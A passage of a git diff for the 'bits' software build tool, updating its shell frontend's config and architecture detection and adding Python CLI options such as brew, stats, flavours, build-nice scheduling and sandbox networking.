val="$(_rc_get "$organisation" "$key")" - fi - [[ -n "$val" ]] && printf -v "$var" '%s' "$val" || true - done + work_dir="$(awk ' + { line=$0; sub(/^[[:space:]]*/,"",line); sub(/[[:space:]]*$/,"",line) + if (line ~ /^(work_dir|sw_dir)[[:space:]]*=/) { + sub(/^(work_dir|sw_dir)[[:space:]]*=[[:space:]]*/,"",line) + print line; exit } }' "$cfgfile")" return 0 } -function configBits() { - - # Backward compatibility defaults +function checkLegacyBitsRc() { + # The bits.rc format was simplified. Reject old-style files loudly rather + # than silently ignoring renamed/removed keys. Old markers: the deprecated + # keys below, or any section other than [bits]. + local cfgfile="$1" + [[ -f "$cfgfile" ]] || return 0 + local bad + bad="$(awk ' + /^[[:space:]]*\[/ { + if ($0 !~ /^[[:space:]]*\[bits\][[:space:]]*$/) { print " section " $0 } ; next } + /^[[:space:]]*(repo_dir|sw_dir|search_path|pkg_prefix|branding)[[:space:]]*=/ { + k=$0; sub(/^[[:space:]]*/,"",k); sub(/[[:space:]]*=.*/,"",k); print " key " k } + ' "$cfgfile")" + [[ -z "$bad" ]] && return 0 + { + echo "ERROR: $cfgfile uses the old bits.rc format. Offending entries:" + echo "$bad" + echo + echo "Please update it (keep a single [bits] section):" + echo " repo_dir -> config_dir" + echo " sw_dir -> work_dir" + echo " search_path -> removed; set BITS_PATH (e.g. export BITS_PATH=lcg) or use a provider" + echo " pkg_prefix -> removed; the display prefix comes from the aliBuild wrapper (BITS_PKG_PREFIX)" + echo " branding -> removed" + echo "Per-organisation [NAME] sections are no longer supported." + echo + echo "Example:" + echo " [bits]" + echo " organisation = stacks" + echo " config_dir = ." + } >&2 + exit 1 +} - BITS_BRANDING=${BITS_BRANDING:-"bits"} - BITS_PATH=${BITS_PATH:-""} - BITS_REPO_DIR=${BITS_REPO_DIR:-"alidist"} +function configBits() { + # Backward-compatibility default for the work directory. NOTE: the display + # prefix (BITS_PKG_PREFIX) and branding come from the ENVIRONMENT only — the + # aliBuild wrapper exports them for ALICE-style "VO_ALICE@pkg::ver" output; + # an empty BITS_PKG_PREFIX makes `bits q` print the native "/". + # organisation (registry/provider selection) and all other settings are + # handled by the Python layer, not here. BITS_WORK_DIR=${BITS_WORK_DIR:-"sw"} - BITS_ORGANISATION=${BITS_ORGANISATION:-"ALICE"} - BITS_PKG_PREFIX=${BITS_PKG_PREFIX:-"VO_"$BITS_ORGANISATION} - - cfile="" + cfile="" for cfg in "$1" bits.rc .bitsrc "$HOME/.bitsrc" do [[ -n "$cfg" && -f "$cfg" ]] && { cfile="$cfg"; break; } done + local work_dir= + [[ -n "$cfile" ]] && checkLegacyBitsRc "$cfile" [[ -n "$cfile" ]] && readBitsRc "$cfile" - - export BITS_ORGANISATION=${organisation:-$BITS_ORGANISATION} - export BITS_BRANDING=${branding:-$BITS_BRANDING} - export BITS_PATH=${search_path:-$BITS_PATH} - export BITS_REPO_DIR=${repo_dir:-$BITS_REPO_DIR} - export BITS_WORK_DIR=${sw_dir:-$BITS_WORK_DIR} - export BITS_PKG_PREFIX=${pkg_prefix:-$BITS_PKG_PREFIX} + export BITS_WORK_DIR=${work_dir:-$BITS_WORK_DIR} + export BITS_PKG_PREFIX=${BITS_PKG_PREFIX:-} } config_file="" @@ -269,7 +363,7 @@ set -- "${new_args[@]}" for arg in "$@" do case $arg in - analytics|architecture|build|clean|cleanup|deps|doctor|init|version|-debug|-d) + analytics|architecture|brew|build|clean|cleanup|deps|doctor|init|publish|stats|status|verify|version|-debug|-d) mkdir -p "$BITS_WORK_DIR" || echo "Cannot create directory: $BITS_WORK_DIR" "$BITSDIR/bitsBuild" "$@" exit $? @@ -398,9 +492,41 @@ if [[ -z "$WORK_DIR" ]]; then fi [[ ! -d "$WORK_DIR" ]] && { printHelp "Work dir $WORK_DIR cannot be accessed"; false; } WORK_DIR=$(cd "$WORK_DIR"; pwd) -[[ -z "$ARCHITECTURE" ]] && ARCHITECTURE="$("bitsBuild" architecture 2> /dev/null || true)" -[[ -z "$ARCHITECTURE" ]] && ARCHITECTURE="$("$BITSDIR/bitsBuild" architecture 2> /dev/null || true)" -[[ -z "$ARCHITECTURE" || "$ARCHITECTURE" == "" ]] && ARCHITECTURE=$(ls -1t "$WORK_DIR" 2>/dev/null | grep -vE '^[A-Z]+$' | head -n1) +# Remember whether the architecture was given explicitly (-a); if so, respect it +# verbatim and never second-guess it below. +_bt_mark startup # script start → here (configBits, option/work-dir parsing) +_ARCH_GIVEN=; [[ -n "$ARCHITECTURE" ]] && _ARCH_GIVEN=1 +# Architecture autodetection (when -a not given). MODULES-first: for q/load/enter +# the installed module trees are the source of truth, so choose from them +# directly and skip the bitsBuild (python) host-arch spawn entirely in the common +# single-arch case. A real arch has a $WORK_DIR/MODULES/ dir; sw/ also holds +# non-arch dirs (wrapper-scripts) which are excluded by going via MODULES. Fall +# back to python only to disambiguate several installed arches (prefer the host's) +# or when nothing is installed yet (e.g. a first build). +if [[ -z "$_ARCH_GIVEN" ]]; then + _present=() + for _a in $(ls -1t "$WORK_DIR/MODULES" 2> /dev/null); do + [[ -d "$WORK_DIR/MODULES/$_a" ]] && _present+=("$_a") + done + if [[ ${#_present[@]} -eq 1 ]]; then + ARCHITECTURE="${_present[0]}" # sole installed arch — no python spawn + elif [[ ${#_present[@]} -gt 1 ]]; then + # Several present: prefer the host's native arch if installed, else newest. + _host="$("bitsBuild" architecture 2> /dev/null || "$BITSDIR/bitsBuild" architecture 2> /dev/null || true)" + ARCHITECTURE= + for _a in "${_present[@]}"; do [[ "$_a" == "$_host" ]] && { ARCHITECTURE="$_a"; break; }; done + if [[ -z "$ARCHITECTURE" ]]; then + ARCHITECTURE="${_present[0]}" # ls -1t → most recently built + printf "${EY}NOTE: several architectures present; selected most recent: %s${EZ}\n" "$ARCHITECTURE" >&2 + printf "${EY} (override with bits -a %s)${EZ}\n" "${ACTION:-q}" >&2 + fi + else + # Nothing installed yet → host arch from python (e.g. for a first build). + ARCHITECTURE="$("bitsBuild" architecture 2> /dev/null || true)" + [[ -z "$ARCHITECTURE" ]] && ARCHITECTURE="$("$BITSDIR/bitsBuild" architecture 2> /dev/null || true)" + fi +fi +_bt_mark archdetect # arch autodetect (python spawn only when needed) [[ -z "$ARCHITECTURE" ]] && { printHelp "Cannot autodetect architecture"; false; } # Look for modulecmd (v3) or modulecmd-compat (>= v4) @@ -417,13 +543,20 @@ fi export MODULEPATH="$WORK_DIR/MODULES/$ARCHITECTURE${MODULEPATH:+":$MODULEPATH"}" MODULEPATH=$(echo "$MODULEPATH" | sed -e 's/::*/:/g; s/^://; s/:$//') IGNORE_ERR="Unable to locate a modulefile for 'Toolchain/" +# -q (which unsets VERBOSE) silences environment-modules' "Loading " / +# "Loading requirement:" progress lines so setenv/printenv/load/enter output can +# be captured/parsed cleanly. Honoured by environment-modules >= 4. +[[ -z "${VERBOSE:-}" ]] && export MODULES_VERBOSITY=silent case "$ACTION" in enter) [[ $BITSLVL == 1 ]] || \ { printf "${ER}ERROR: already in an bits environment${EZ}\n" >&2; exit 1; } MODULES=$(normModules "${ARGS[@]}") + _bt_mark preamble collectModules + _bt_mark collectModules existModules $MODULES + _bt_mark existModules PS1DEV= if [[ $DEVOPT == 1 ]];then PS1DEV=" (dev)" @@ -439,6 +572,7 @@ case "$ACTION" in else eval $($MODULECMD bash add $MODULES 2> >(grep -v "$IGNORE_ERR" >&2)) fi + _bt_mark modulecmd [[ $UNAME == Darwin ]] && eval $(stripDyld) detectShell if [[ ! -z "$CLEAN_ENV" ]]; then @@ -460,7 +594,8 @@ case "$ACTION" in printenv|load|unload) [[ $ACTION == printenv ]] && ACTION=load MODULES=$(normModules "${ARGS[@]}") - [[ $ACTION == load ]] && { collectModules; existModules $MODULES; } + _bt_mark preamble + [[ $ACTION == load ]] && { collectModules; _bt_mark collectModules; existModules $MODULES; _bt_mark existModules; } [[ $VERBOSE == 1 ]] && printf "${ET}Use ${EM}bits list${ET} to list loaded modules.${EZ}\n" >&2 if [[ $DEVOPT == 1 ]];then echo "Warning: Development mode for '$ACTION' is not supported via bits. Please remove '--dev' or run manually shown below" >&2 @@ -475,6 +610,7 @@ case "$ACTION" in fi detectShell $MODULECMD $MODULES_SHELL $ACTION $MODULES 2> >(grep -v "$IGNORE_ERR" >&2) + _bt_mark modulecmd [[ $UNAME == Darwin ]] && ( eval $($MODULECMD $MODULES_SHELL $ACTION $MODULES 2> /dev/null) &> /dev/null; stripDyld ) exit 0 ;; @@ -490,10 +626,17 @@ case "$ACTION" in ;; q|query) [[ -z "${ARGS[0]}" ]] && SEARCH_CMD=cat || SEARCH_CMD=( grep -iE "${ARGS[0]}" ) - collectModules - $MODULECMD bash -t avail 2>&1 | grep -E '^[^/]+/[^/]+$' | grep -vE ':$' | \ - "${SEARCH_CMD[@]}" | sed -e 's!^\([^/]*\)/\(.*\)$!'${BITS_PKG_PREFIX}'@\1::\2!' - exit ${PIPESTATUS[3]} # grep + # Native module names are /. With a display prefix set (e.g. + # via the aliBuild wrapper) reformat to @::; with no + # prefix, pass the native form through unchanged. + if [[ -n "$BITS_PKG_PREFIX" ]]; then + _fmt=( sed -e 's!^\([^/]*\)/\(.*\)$!'"${BITS_PKG_PREFIX}"'@\1::\2!' ) + else + _fmt=( cat ) + fi + # List straight from the install tree (no MODULES rebuild, no modulecmd). + listAvailableModules | LC_ALL=C sort | "${SEARCH_CMD[@]}" | "${_fmt[@]}" + exit ${PIPESTATUS[2]} # SEARCH grep ;; avail) collectModules diff --git a/bitsBuild b/bitsBuild index 3fa43736..33260949 100755 --- a/bitsBuild +++ b/bitsBuild @@ -24,11 +24,13 @@ from bits_helpers.build import doBuild from bits_helpers.clean import doClean from bits_helpers.cleanup import doCleanup from bits_helpers.deps import doDeps +from bits_helpers.brew import doBrew from bits_helpers.doctor import doDoctor from bits_helpers.init import doInit from bits_helpers.publish import doPublish from bits_helpers.verify import doVerify from bits_helpers.status import doStatus +from bits_helpers.stats import doStats from bits_helpers.log import debug, error, info, logger from bits_helpers.utilities import detectArch @@ -85,6 +87,9 @@ def doMain(args, parser): if args.action == "deps": sys.exit(0 if doDeps(args, parser) else 1) + if args.action == "brew": + sys.exit(0 if doBrew(args, parser) else 1) + if args.action == "clean": doClean(workDir=args.workDir, architecture=args.architecture, aggressiveCleanup=args.aggressiveCleanup, dryRun=args.dryRun) @@ -115,6 +120,10 @@ def doMain(args, parser): doStatus(args, parser) sys.exit(0) + if args.action == "stats": + doStats(args, parser) + sys.exit(0) + if __name__ == "__main__": args, parser = doParseArgs() diff --git a/bitsModules b/bitsModules new file mode 100755 index 00000000..c67cd063 --- /dev/null +++ b/bitsModules @@ -0,0 +1,21 @@ +#!/usr/bin/env python3 +"""bits module-listing helper (entry point). + +Thin driver, in the same family as ``bitsBuild``/``bitsDeps``: it runs the CVMFS +serving-catalog fast path (``bits_helpers.cvmfs_catalog``) so the shell ``bits`` +frontend can enumerate modulefiles on CVMFS with a single catalog fetch instead +of a per-file FUSE walk. + +Arguments are forwarded as-is to the helper: + + bitsModules [--regex RE] [--depth2-dirs] + +Exit status is the fallback contract: 0 = listing printed (use it), 3 = fast +path unavailable (caller must fall back to its POSIX walk). +""" +import sys + +from bits_helpers.cvmfs_catalog import main + +if __name__ == "__main__": + sys.exit(main()) diff --git a/bits_helpers/args.py b/bits_helpers/args.py index bfd1250b..dbd95bf1 100644 --- a/bits_helpers/args.py +++ b/bits_helpers/args.py @@ -1,5 +1,8 @@ import argparse from bits_helpers.utilities import detectArch, normalise_multiple_options +from bits_helpers.utilities import (arch_distro_token, arch_machine_token, + normalise_arch_key, detectArchComponents, + apply_arch_template, readDefaults) from bits_helpers.workarea import cleanup_git_log import configparser import multiprocessing @@ -161,6 +164,12 @@ def doParseArgs(): description="Generate a dependency graph for a given package.") doctor_parser = subparsers.add_parser("doctor", help="verify status of your system", description="Verify the status of your system.") + brew_parser = subparsers.add_parser("brew", help="generate a Homebrew Brewfile from recipes (macOS)", + description="Scan recipes for Homebrew-sourced system packages " + "(homebrew_formula:) and write a Brewfile listing the " + "formulae the stack expects. Run 'brew bundle' against " + "it to install them, or build with --brew to install on " + "demand.") init_parser = subparsers.add_parser("init", help="initialise local packages", description="Initialise development packages.") version_parser = subparsers.add_parser("version", help="display %(prog)s version", @@ -202,6 +211,26 @@ def doParseArgs(): "3 = manifest unreadable." ), ) + stats_parser = subparsers.add_parser( + "stats", + help="show a human-readable resource report from a monitored build", + description=( + "Summarise the resource usage recorded when a build ran with " + "--resource-monitoring. Reads /bits_build_stats.json and the " + "per-package traces under SPECS/, leads with the heaviest/slowest " + "packages, and flags likely memory or parallelism problems." + ), + ) + stats_parser.add_argument("-w", "--work-dir", dest="workDir", default=DEFAULT_WORK_DIR, + help="Build work area to read stats from (default: %(default)s).") + stats_parser.add_argument("--package", dest="package", metavar="NAME", default=None, + help="Show the resource timeline detail for a single package.") + stats_parser.add_argument("--top", dest="top", type=int, default=10, metavar="N", + help="Show the top N packages in the table (default: %(default)s).") + stats_parser.add_argument("--sort", dest="sort", choices=["time", "rss", "cpu"], + default="time", help="Sort the table by this metric (default: %(default)s).") + stats_parser.add_argument("--json", dest="json", action="store_true", + help="Emit machine-readable JSON instead of the text report.") # Options for the analytics command # analytics_parser.add_argument("state", choices=["on", "off"], help="Whether to report analytics or not") @@ -213,6 +242,14 @@ def doParseArgs(): build_parser.add_argument("--defaults", dest="defaults", default="release", metavar="DEFAULT", help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") + build_parser.add_argument("--flavour", "--flavor", dest="flavours", action="append", + default=[], metavar="NAME[=VALUE]", + help=("Set a build-wide flavour variable (repeatable, comma-separated). " + "NAME -> true, NAME=VALUE -> VALUE, !NAME -> false. Flavours gate " + "conditional requires/sources/patches via (?NAME) and are exported " + "into the build environment; they override a defaults `variables:` " + "entry of the same name.")) + build_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, help=("Build as if on the specified architecture. When used with --docker, build " "inside a Docker image for the specified architecture. Default is the current " @@ -229,10 +266,63 @@ def doParseArgs(): build_parser.add_argument("--builders", dest="builders", type=int, default=1, help=("The number of independent packages to build in parallel. " "Default is: %(default)d.")) - build_parser.add_argument("--resource-monitoring", dest="resourceMonitoring", action="store_true", - help="Enable resource monitoring for each built package.") + build_parser.add_argument("--oversubscribe", dest="oversubscribe", type=float, default=None, + metavar="FACTOR", + help=("CPU oversubscription factor (>= 1.0) for the per-builder " + "-j share. A deep dependency tree rarely keeps all --builders " + "busy, so each package's -j = ceil(jobs * FACTOR / builders), " + "still clamped to -j and to the (unscaled) memory cap. >1.0 " + "fills idle cores at the cost of mild overshoot when all " + "builders are busy (absorbed by the OS scheduler / nice ladder). " + "When unset, falls back to `build_oversubscribe:` in the active " + "defaults, then 1.0 (no oversubscription).")) + build_parser.add_argument("--no-auto-patch", dest="autoPatch", action="store_false", default=True, + help=("Do not apply recipe patches: automatically. Patch files are " + "still staged in $SOURCEDIR and exported as $PATCH0..$PATCH_COUNT, " + "but each recipe must apply its own patches (e.g. via the " + "bits_apply_patches helper). Default: patches are auto-applied. " + "A recipe can opt out individually with `auto_patch: false`.")) + # --build-nice / --no-build-nice as a pair of store_true/store_false on the + # same dest (argparse.BooleanOptionalAction is only available on Python 3.9+). + # OFF by default: the priority ladder (and its renice watchdog) is opt-in, so + # the default --builders path is the plain scheduler with no command wrapping + # or background threads. Enable with --build-nice. + build_parser.add_argument("--build-nice", dest="buildNice", action="store_true", default=False, + help=("Opt in to staggering concurrent --builders jobs across OS 'nice' " + "levels so CPU contention degrades gracefully: one build runs at top " + "priority and the others are progressively backed off, with a watchdog " + "boosting long-running stragglers. Native builds use 'nice'; " + "--docker/podman builds use 'docker run --cpu-shares'. Off by default; " + "only affects --builders > 1. Memory is capped separately (mem_per_job).")) + build_parser.add_argument("--no-build-nice", dest="buildNice", action="store_false", + help="Explicitly disable the --build-nice priority ladder (this is the default).") + build_parser.add_argument("--build-nice-step", dest="buildNiceStep", type=int, default=5, metavar="N", + help=("Nice increment between concurrent build slots when --build-nice is set " + "(slot k -> nice min(k*N, 19)). N=1 gives a gentle 0,1,2,3 ladder; larger " + "values separate slots more aggressively. Default: %(default)d.")) + build_parser.add_argument("--build-nice-boost-after", dest="buildNiceBoostAfter", type=int, default=600, + metavar="SECONDS", + help=("With --build-nice on native builds, a watchdog renices a build that has " + "been running longer than this (and was niced down) back up to top " + "priority, one straggler at a time, so a long low-priority compile does not " + "drag out the end of the build. Requires privilege to raise priority " + "(root / CAP_SYS_NICE); a no-op otherwise. 0 disables. Default: %(default)d.")) + build_parser.add_argument("--resource-monitoring", dest="resourceMonitoring", + action="store_const", const=True, default=None, + help=("Enable per-package resource monitoring. Defaults to ON in " + "parallel mode (--builders > 1).")) + build_parser.add_argument("--no-resource-monitoring", dest="resourceMonitoring", + action="store_const", const=False, + help="Disable per-package resource monitoring even when --builders > 1.") build_parser.add_argument("--resources", dest="resources", default=None, help="JSON files containing resources utilization of packages.") + build_parser.add_argument("--auto-resources", dest="autoResources", action="store_true", + help=("Opt in to the self-tuning resource scheduler for --builders > 1: " + "auto-load the build-stats file a previous run left behind and use it " + "to gate how many build jobs start concurrently, and auto-enable " + "resource monitoring to refresh it. Off by default; concurrency is then " + "bounded only by --builders. Explicit --resources / --resource-monitoring " + "still work without this flag.")) build_parser.add_argument("-u", "--fetch-repos", dest="fetchRepos", action="store_true", help=("Fetch updates to repositories in MIRRORDIR. Required but nonexistent " "repositories are always cloned, even if this option is not given.")) @@ -314,18 +404,20 @@ def doParseArgs(): build_sandbox = build_parser.add_argument_group(title="Recipe sandbox", description="""\ Run each recipe build script inside an isolated sandbox to limit the impact - of malicious or buggy recipes. On Linux, podman (rootless) is used; on - macOS, the built-in sandbox-exec is used (no VM, no overhead). - When --docker is active, a nested podman container is added inside the - builder container for an additional isolation layer. + of malicious or buggy recipes. On macOS, the built-in sandbox-exec is used + (no VM, no overhead). On Linux, podman (rootless) is used only when --docker + is active (a nested podman container inside the builder image) or when + requested explicitly with --sandbox=podman; a plain local Linux build is not + sandboxed and never invokes podman. """) build_sandbox.add_argument( "--sandbox", dest="sandbox", metavar="MODE", default="auto", choices=["off", "auto", "podman", "sandbox-exec"], help=( "Recipe sandbox mode. " - "'auto' (default): use podman on Linux if available, " - "sandbox-exec on macOS, nested podman when --docker is active. " + "'auto' (default): sandbox-exec on macOS, nested podman when --docker " + "is active, and 'off' on a local Linux build (podman is not used or " + "even probed there). " "'podman': always use podman (requires --docker or --sandbox-image). " "'sandbox-exec': macOS only. " "'off': no sandboxing." @@ -339,6 +431,20 @@ def doParseArgs(): "Defaults to the --docker image when --docker is set." ), ) + build_sandbox.add_argument( + "--sandbox-network", dest="sandboxNetwork", metavar="MODE", default=None, + choices=["on", "off"], + help=( + "Global default for build-time network access inside the sandbox: " + "'on' blocks outgoing network, 'off' allows it. A recipe's own " + "`sandbox_network:` field always overrides this. Has no effect where " + "sandboxing is off (e.g. a plain local Linux build). When not given " + "on the command line, the value falls back to `sandbox_network:` in " + "the active defaults (e.g. defaults-release.sh), then to 'on'. " + "Setting it once in defaults is the recommended way to enable network " + "for a stack with many recipes that pip-install at build time." + ), + ) build_remote = build_parser.add_argument_group(title="Re-use prebuilt tarballs", description="""\ Reusing prebuilt tarballs saves compilation time, as common packages need not @@ -358,6 +464,10 @@ def doParseArgs(): is set to the same value). Implies --no-system. May be set to a default store on some architectures; use --no-remote-store to disable it in that case. """) + build_remote.add_argument("--reuse-cvmfs", dest="reuseCvmfs", action="store_true", + help=("Reuse already-deployed components from the CVMFS area declared by the " + "defaults `cvmfs_dir:` field. Sets --remote-store to cvmfs:// " + "when no remote store is given.")) build_remote.add_argument("--write-store", dest="writeStore", metavar="STORE", default="", help=("Where to upload newly built packages. Same syntax as --remote-store, " "except ::rw is not recognised. Implies --no-system.")) @@ -370,13 +480,22 @@ def doParseArgs(): upload run concurrently with downstream package builds. Silently ignored without --makeflow. Has no effect when --write-store is not set. """) - build_remote.add_argument("--prefetch-workers", dest="prefetchWorkers", type=int, default=0, + build_remote.add_argument("--prefetch-workers", dest="prefetchWorkers", type=int, default=-1, metavar="N", help="""\ Start N background threads that pre-download pre-built tarballs and source - archives for all packages in the build graph before they are needed. A + archives for all packages in the build graph before they are needed, so that + downloads overlap the (serial) preparation loop instead of blocking it. A .downloading sentinel file coordinates with the build loop so no file is - fetched twice. Default: 0 (disabled). Works in all build modes. + fetched twice. Default: -1 (auto = min(builders, 4)); 0 disables prefetch. + Works in all build modes. + """) + build_remote.add_argument("--parallel-downloads", dest="parallelDownloads", type=int, default=2, + metavar="N", + help="""\ + Maximum number of package downloads the build scheduler runs concurrently + (the scheduler's "download" task cap, separate from the --builders compile + cap). Default: 2. Works with --builders > 1. """) build_remote.add_argument("--parallel-sources", dest="parallelSources", type=int, default=1, metavar="N", @@ -421,6 +540,16 @@ def doParseArgs(): help="Always use system packages when compatible.") build_system.add_argument("--no-system", dest="noSystem", nargs="?", const="*", default=None, metavar="PACKAGES", help="Never use system packages for the provided, command separated, PACKAGES, even if compatible.") + build_parser.add_argument( + "--brew", dest="brew", action="store_true", default=False, + help=( + "macOS only: allow recipes that source a system package from Homebrew " + "to run 'brew install ' automatically when the formula is " + "missing. Without --brew, such recipes fail with a message telling you " + "which formula to 'brew install'. Exported to recipe checks as " + "BITS_BREW=1." + ), + ) build_checksums = build_parser.add_argument_group( title="Source and patch checksum verification", @@ -685,6 +814,25 @@ def doParseArgs(): "Example: https://prepub.example.org:8080"), ) + # Options for the brew subcommand + brew_parser.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=detectedArch, + help=("Generate the Brewfile for the specified architecture. Only recipes whose " + "prefer_system matches this architecture are included. Default '%(default)s'.")) + brew_parser.add_argument("--defaults", dest="defaults", default="release", metavar="DEFAULT", + help="Use defaults from CONFIGDIR/defaults-%(metavar)s.sh.") + brew_parser.add_argument("-o", "--output", dest="output", metavar="FILE", default=None, + help=("Write the Brewfile to %(metavar)s. Use '-' for stdout. " + "Default: /macos/Brewfile (next to the recipes, " + "which are the source of truth).")) + brew_parser.add_argument("--check", dest="check", action="store_true", default=False, + help=("Do not write; exit non-zero if FILE is missing or differs from what " + "would be generated (for CI / pre-commit).")) + brew_parser.add_argument("-c", "--config", dest="configDir", default=os.environ.get("BITS_REPO_DIR", "alidist"), + help="The directory containing build recipes. Default '%(default)s'.") + brew_parser.add_argument("-C", "--chdir", metavar="DIR", dest="chdir", default=DEFAULT_CHDIR, + help=("Change to the specified directory before doing anything. " + "Alternatively, set BITS_CHDIR. Default '%(default)s'.")) + # Options for the init subcommand init_parser.add_argument("pkgname", nargs="?", default="", metavar="PACKAGE", help="Package to clone locally. One of the packages in CONFIGDIR.") @@ -736,8 +884,9 @@ def doParseArgs(): help="Binary store to upload newly-built tarballs to (written as 'write_store' " "in bits.rc). Accepts the same URL formats as 'bits build --write-store'.") init_cfg.add_argument("--organisation", dest="organisation", default=None, metavar="NAME", - help="Organisation name stored under the 'organisation' key in bits.rc. " - "May be used by defaults profiles and recipe tooling.") + help="Organisation name selecting the registry/provider 'home' repo, also " + "stored under the 'organisation' key in bits.rc. Defaults to the " + "BITS_ORGANISATION environment variable (set by the aliBuild wrapper).") init_cfg.add_argument("--rc-file", dest="rcFile", default="bits.rc", metavar="FILE", help="Path of the bits.rc file to create or update. Default '%(default)s'.") init_cfg.add_argument("--append", dest="appendRc", action="store_true", default=False, @@ -955,6 +1104,12 @@ def doParseArgs(): for _rc_key, _dest in _RC_KEY_TO_DEST: if _rc_early.get(_rc_key): _rc_defaults[_dest] = _rc_early[_rc_key] + # organisation may also arrive via the environment (the aliBuild wrapper + # exports BITS_ORGANISATION). Honour it when bits.rc doesn't set it, so the + # registry/provider "home" is selected for build/etc., not just init. An + # explicit --organisation on the CLI still wins via normal argparse order. + if not _rc_defaults.get("organisation") and os.environ.get("BITS_ORGANISATION"): + _rc_defaults["organisation"] = os.environ["BITS_ORGANISATION"] if _rc_defaults: # set_defaults on the *parent* parser is overridden by each subparser's own # argument-level defaults (add_argument(..., default=...)). We must call @@ -1004,7 +1159,50 @@ def optionOrder(x): VALID_ARCHS_RE = "^slc[5-9]_(x86-64|ppc64|aarch64)$|^(ubuntu|ubt|osx|fedora)[0-9]*_(x86-64|arm64)$" def matchValidArch(architecture): - return bool(re.match(VALID_ARCHS_RE, architecture)) + # Recognise an architecture by content rather than by a fixed string layout, + # so custom `architecture:` templates (ubuntu2510_x86_64, x86_64-ubuntu2510, + # ...) build without --force-unknown-architecture. We still enforce the same + # distro/CPU *combinations* the old regex did (e.g. osx pairs only with + # x86-64/arm64, not ppc64), just independently of order and of the + # x86-64/x86_64 separator. + distro = arch_distro_token(architecture) + machine = arch_machine_token(architecture) + if not distro or not machine: + return False + machine = machine.replace("_", "-") # canonical dashed form + family = re.match(r"[a-z]+", distro).group(0) # strip trailing version digits + if family == "slc": + return machine in ("x86-64", "ppc64", "ppc64le", "aarch64") + if family in ("ubuntu", "ubt", "osx", "fedora"): + return machine in ("x86-64", "arm64") + # Other recognised distros (alma, centos, rocky, rhel, el, debian): accept the + # common server CPUs. + return machine in ("x86-64", "arm64", "aarch64", "ppc64", "ppc64le") + + +def _architecture_given_on_cmdline(argv): + """True iff -a/--architecture was passed explicitly (so a defaults + `architecture:` template must be ignored).""" + for tok in argv: + if tok in ("-a", "--architecture") or tok.startswith("--architecture="): + return True + # bundled short form: -aVALUE (but not a long option) + if len(tok) > 2 and tok[0] == "-" and tok[1] == "a" and not tok.startswith("--"): + return True + return False + + +def _defaults_architecture_template(args): + """Return the `architecture:` template string from the merged defaults chain, + or None. Read defensively: a malformed/unreadable defaults set must not break + argument parsing (the build flow re-reads and reports defaults errors).""" + try: + meta, _ = readDefaults(args.configDir, args.defaults, + lambda *a, **k: None, args.architecture) + val = meta.get("architecture") + return val if isinstance(val, str) and val.strip() else None + except Exception: + return None ARCHITECTURE_TABLE = """\ On Linux, x86-64: @@ -1031,18 +1229,65 @@ def matchValidArch(architecture): # When updating this variable, also update docs/docs/user.md! S3_SUPPORTED_ARCHS = "slc7_x86-64", "slc8_x86-64", "ubuntu2004_x86-64", "ubuntu2204_x86-64", "ubuntu2404_x86-64", "slc9_x86-64", "slc9_aarch64" +# Match S3 support by (distro, machine) rather than exact string, so an +# equivalent layout (e.g. ubuntu2404_x86_64) still resolves to the same entry. +_S3_SUPPORTED_ARCH_KEYS = {normalise_arch_key(a) for a in S3_SUPPORTED_ARCHS} + +def _parse_flavours(raw): + """Parse repeated/comma-separated --flavour values into an ordered dict. + + NAME -> "true"; NAME=VALUE -> "VALUE"; !NAME -> "false". Whitespace is + trimmed; empty tokens are ignored; later entries win on a repeated name. + """ + result = {} + for chunk in (raw or []): + for tok in str(chunk).split(","): + tok = tok.strip() + if not tok: + continue + if tok.startswith("!"): + name, value = tok[1:].strip(), "false" + elif "=" in tok: + name, _, value = tok.partition("=") + name, value = name.strip(), value.strip() + else: + name, value = tok, "true" + if name: + result[name] = value + return result + + +def _with_release_base(defaults): + """Ensure "release" is the base of the defaults chain. + + ``--defaults`` defaults to ``"release"``, so ``release`` is the conceptual + base of every build. Selecting another profile (e.g. ``--defaults dev4``) + should *overlay* it on top of release — i.e. behave like ``release::dev4`` — + rather than replacing it, so stack-wide globals (compiler flags, sandbox + policy, MACOSX_DEPLOYMENT_TARGET, …) can live once in ``defaults-release``. + + ``release`` is prepended only when not already present anywhere in the chain + (an explicit ``release::x`` or ``x::release`` is respected as written). + ``readDefaults`` silently skips a missing ``defaults-release`` file, so stacks + that do not ship one are unaffected. + """ + defaults = list(defaults) + if "release" not in defaults: + defaults = ["release"] + defaults + return defaults + def finaliseArgs(args, parser): # Nothing to finalise for version, architecture, or verify # if args.action in ["version", "analytics", "architecture"]: - if args.action in ["version", "architecture", "verify"]: + if args.action in ["version", "architecture", "verify", "stats"]: return args # Minimal finalisation for status: normalise lists and expand referenceSources. if args.action == "status": if hasattr(args, "defaults"): - args.defaults = args.defaults.split("::") + args.defaults = _with_release_base(args.defaults.split("::")) args.noDevel = normalise_multiple_options(args.noDevel) args.disable = normalise_multiple_options(args.disable) args.force_rebuild = normalise_multiple_options(args.force_rebuild) @@ -1050,7 +1295,11 @@ def finaliseArgs(args, parser): return args if hasattr(args, "defaults"): - args.defaults = args.defaults.split("::") + args.defaults = _with_release_base(args.defaults.split("::")) + + # Resolve --flavour into an ordered {name: value} dict (see _parse_flavours). + if hasattr(args, "flavours"): + args.flavours = _parse_flavours(args.flavours) # ── bits.rc / BITS_PROVIDERS ───────────────────────────────────────────── # Read persistent configuration from the first bits.rc / .bitsrc / @@ -1113,6 +1362,21 @@ def finaliseArgs(args, parser): # version pinning and tarball verification. args.fromManifestData = _manifest_data + # ── architecture template (defaults-release.sh) ────────────────────────── + # Precedence: an explicit --architecture wins and any template is ignored. + # Otherwise, if a defaults file in the chain defines `architecture:` -- a + # literal string or a %(os)s / %(machine)s / %(_machine)s template -- the + # architecture is recomputed from it against the locally detected platform. + # With neither, the auto-detected string already in args.architecture stands. + if args.action in ["build", "clean"] and getattr(args, "architecture", None) \ + and hasattr(args, "defaults") and not _architecture_given_on_cmdline(sys.argv): + tmpl = _defaults_architecture_template(args) + if tmpl: + try: + args.architecture = apply_arch_template(tmpl, detectArchComponents()) + except ValueError as exc: + parser.error(str(exc)) + # --architecture can be specified in both clean and build. if args.action in ["build", "clean"] and not args.architecture: parser.error("Cannot determine architecture. Please pass it explicitly.\n\n" @@ -1162,7 +1426,12 @@ def finaliseArgs(args, parser): # in docker the docker image is given by the first part of the # architecture we want to build for. if args.docker and not args.dockerImage: - args.dockerImage = "registry.cern.ch/alisw/%s-builder" % 